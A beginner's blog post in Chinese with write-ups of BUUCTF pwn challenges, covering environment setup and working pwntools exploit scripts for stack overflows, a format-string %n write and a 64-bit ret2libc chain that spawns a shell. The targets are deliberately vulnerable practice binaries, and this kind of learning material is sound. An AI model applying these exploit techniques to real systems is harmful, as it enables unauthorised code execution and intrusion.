pwn入门体验 + buuctf pwn方向入门题WP
pwn真的最初让人敬而远之,但现在发现一些刚入门的题目稍微学一下还是能做的,起码了解pwn的答题模式。。。
本篇讲一讲我入门遇到的一些困难和我的解决方案,以供借鉴。
首先是配环境,配环境一定一定要跟着视频教程走,而且是pwn方向的最新的教程。我最初自己装ubuntu,调这个调那个装了两天,然后bug层出不穷,于是卸载了重装。上b站找了个ubuntu24.04的安装教程,它果然把我踩得坑全讲到了。。。如果早点跟着它走估计就不用这个bug问一次网络那个bug问一次ai浪费半天了。
但是,当我真的开始装pwn环境做题时,发现ubuntu24.04没有python2??上网查貌似是嫌它落后摒弃了,想要重装非常困难,于是我又删掉了ubuntu24.04,换了个ubuntu22 。。。反正非常麻烦,这里给出我最后选择的解决方案,虽然也不算完美(配环境中间有未知报错还未解决),但是足以应付pwn的入门题(估计后面用到啥py库的时候发现没有才会被背刺)。链接于下,建议结合ubuntu22/20的下载教程食用
https://www.bilibili.com/video/BV1YT1oYeEVd/?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click&vd_source=c9469016e9feacc824b37bf136bec16f
然后就是栈溢出的基础了,最初我选择在ctfwiki上啃资料,然后大败而归hhh,看不懂啊。然后纯纯小白的我还是灰溜溜的去b站上找sb教程。还得是对大一新生讲题的师傅讲的简单易懂,符合大一新手体质啊。但是这部也有一些缺陷,对于栈的原理,计算机空间分配和堆栈流程等一笔带过不够清晰透彻,建议先看懂下面这篇知乎(也写的非常好,当真大佬),再看视频。
https://www.bilibili.com/video/BV147xgeaEvJ/?spm_id_from=333.1007.top_right_bar_window_history.content.click&vd_source=c9469016e9feacc824b37bf136bec16f
https://zhuanlan.zhihu.com/p/313608043?utm_id=0
堆栈平衡:https://blog.csdn.net/hu_c_t_f/article/details/131902515
后面给出一些做buuctf的记录,随缘更新
test_you_nc1
直接nc到服务器,然后cat一下flag就好,给的文件好像没用上
rip
ida查看main函数是所有教程里面的入门题(hello world了属于是),只需要通过输入过多数据导致栈溢出(压栈时,在压入rbp前会压一个函数的return地址)劫持程序运行流让它跑到后门即可。
结合后门位置,编写的exp如下。
点击查看代码
from pwn import*
#io = process('./pwn1')
io = remote('node5.buuoj.cn',26114)
#io.recv()
payload = b'a'*0xF + b'a'*8 + p64(0x0040118A)
io.sendline(payload)
io.interactive()
效果:
warmup_csaw_2016
同上,exp:
点击查看代码
from pwn import*
#io = process('./warmup_csaw_2016')
io = remote('node5.buuoj.cn',26804)
payload = b'a'*0x40 + b'a'*8 + p64(0x40060d)
io.sendline(payload)
io.interactive()
ciscn_2019_n_1
checksec文件得到只有nx保护,但这不影响
ida打开抓到重点。
目标是跑到return system语句
有两种思路,一种比较自然的想法是通过gets溢出修改v2让它满足条件。(值得注意的是小数要转成16进制,这个可以在ida里找到常量位置直接看,也可以用别的方式)
exp:
点击查看代码
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn',28980)
#io = process('./ciscn_2019_n_1')
#gdb.attach(io)
payload = b'a'*0x2C + p64(0x41348000)
io.sendafter("Let's guess the number.\n",payload)
io.interactive()
另一种是老办法,直接改该函数的return地址,改到system那句去,也可行
点击查看代码
payload = b'a'*0x30 + b'a'*8 + p64(0x004006BE)
pwn1_sctf_2016
本题难度应该在re上,结合ida内容和实际跑程序测试,猜测主函数是做了一个把你的输入里的I转换成you的操作,尽管是使用fgets固定了输入的位数,但是转换后还是有溢出的漏洞,因为strcpy是无视位数进行copy的,可以覆盖到return地址,再根据找到getflag的位置,exp就呼之欲出了。
exp:
点击查看代码
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io = remote('node5.buuoj.cn',28116)
#io = process('./pwn1_sctf_2016')
#gdb.attach(io)
payload = b'I'*20 + b'a'*4 + p32(0x08048F13)
io.send(payload)
io.interactive()
jarvisoj_level0
同rip,exp:
点击查看代码
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn',26672)
#gdb.attach(io)
payload = b'I'*0x80 + b'a'*8 + p64(0x40059A)
io.sendafter("Hello, World",payload)
io.interactive()
[第五空间2019 决赛]PWN5
checksec有canary和nx两个保护,不能像之前那样简单了,需要新的沉淀
https://zhuanlan.zhihu.com/p/465896542?utm_id=0
这篇格式化字符串漏洞讲的不错,可以用其中说的修改数据的方式做本题。
本题要求你输入的密码和该程序lo的随机数相同,很逆天,两个角度,一是获取随机数的值,然后输入,另一种是把随机数的值改成我们想要的(这里先用第二种)。
首先,我们要找到buf字符串相对于printf的第一个参数的位置,也就是相当于printf所不存在的第几个“格式化参数”,方便我们利用格式化输出的漏洞进行访问和修改。
这里我使用了pwngdb跑了一下程序。(也犯了一个sb错误,把0x63看成0x64了)
格式化参数在第一个参数后,0x168距离0x140,有40/4=10个位置,所以buf的内容就被放在相当于printf第10个格式化参数的位置上,我们可以直接用%10$的方式访问它
下面的方式也可以验证这一点。
编写exp,把随机数改成常量,然后后面输入密码时输入这个常量就好。注意的是随机数是int,有四个字节,%n在小于128时应该只会覆盖一个字节内容,所以我们要对四个字节内存逐一修改
点击查看代码
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io = remote('node5.buuoj.cn',25654)
#io = process('./pwn')
addr=0x804C044
#随机数int,要全部修改4字节数据
payload= p32(addr) + p32(addr+1) + p32(addr+2) +p32(addr+3) + b'%10$n%11$n%12$n%13$n'
io.sendlineafter(b'your name:',payload)
payload2=str(0x10101010)
io.sendlineafter(b'your passwd:',payload2)
io.interactive()
jarvisoj_level2
其实简单溢出,但充分体现了我学艺不精。
ida打开,明显的溢出,138的空间它非要填0x100。问题是,没找到后门。所以,我的思想是,去到原函数还有一个system,那个system在输入时还没运行,我只要修改了那个system的传参就好了。
但是,我不会改。。因为那个参数的地址离的太远了覆盖不了,而且就算我覆盖了它,我还要让函数返回地址不被覆盖(或者恢复回去),比较麻烦。
但那不过是小题大做,其实我可以直接让函数返回到任意一个call system语句就好,注意到call system语句前压栈的就是它的参数,所以我可以修改返回地址为call _system,并且把再前一位修改为我想传的参数,这里就是b'/bin/sh'字符串。那原函数也有这么一个字符串非常便利。
exp:
点击查看代码
addrSystem=0x0804849E
addrShell=0x0804A024
payload=b'a'*0x88 + b'a'*4 + p32(addrSystem) + p32(addrShell)
ciscn_2019_n_8
核心代码非常简单,只要输入使得(long long*)var[13] = 17ll 就好,var原本是int
exp:
点击查看代码
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io = process('./ciscn_2019_n_8')
#io=remote('node5.buuoj.cn',25261)
#/bin/sh
payload=b'a'*13*4 + p64(17)
io.send(payload)
io.interactive()
bjdctf_2020_babystack
简单覆盖,exp:
点击查看代码
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io = process('./bjdctf_2020_babystack')
#io=remote('node5.buuoj.cn',27127)
#/bin/sh
addr = 0x4006EA
payload1 = b'32'
payload2 = b'a'*0x10 + b'a'*8 + p64(0x4006EA)
io.sendlineafter('[+]Please input the length of your name:',payload1)
io.sendlineafter('[+]What\'s u name?',payload2)
io.interactive()
ciscn_2019_c_1
总算solved了。
一个比较板子的64位re2libc
ida分析,在encrypt函数内存在危险函数,可以栈溢出。
但是ida和ropgadget找不到system和binsh,不好re2text。
有nx保护,对于新手不会绕过的我不好re2shellcode。
所以冲re2libc,上网搜个板子,跟着打一遍学一下:
点击查看代码
from pwn import*
from LibcSearcher import*
context(os="linux",arch="amd64",log_level="debug")
io = remote("node5.buuoj.cn",26618)
#io = process("./ciscn_2019_c_1")
elf = ELF("./ciscn_2019_c_1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
io.sendlineafter("Input your choice!",b'1')
pop_rdi_ret = 0x400c83
main_addr = 0x400b28
ret = 0x4006b9
payload = b'\x00' + b'a' * (0x50 + 8 - 1) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter("Input your Plaintext to be encrypted",payload)
io.recvuntil("Ciphertext\n")
io.recvline()
puts_addr = u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
#程序基址
base_addr = puts_addr - libc.dump("puts")
binsh_addr = base_addr + libc.dump("str_bin_sh")
sys_addr = base_addr + libc.dump("system")
io.sendlineafter("Input your choice!",b'1')
#不加ret会返回EOF,因为64位有时需要栈平衡
payload2 = b'\x00' + b'a' * (0x50 +8 -1) + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
io.sendlineafter("Input your Plaintext to be encrypted",payload2)
io.interactive()
通过栈溢出,泄露puts函数在got表里的地址,因为一般基址后3位为0,所以就算经过偏移,后三位也不变,这里是9c0,因此可以根据后三位判断libc版本,这里使用libcSearcher工具。
找到libc版本,然后将libc中puts函数地址和源程序内puts地址相减得到偏移(就是程序基址)
然后根据基址访问system和binsh,最后直接调用。直接运行得到EOF,加个ret平衡一下栈就可以通过本题
get_started_3dsctf_2016
to be continue...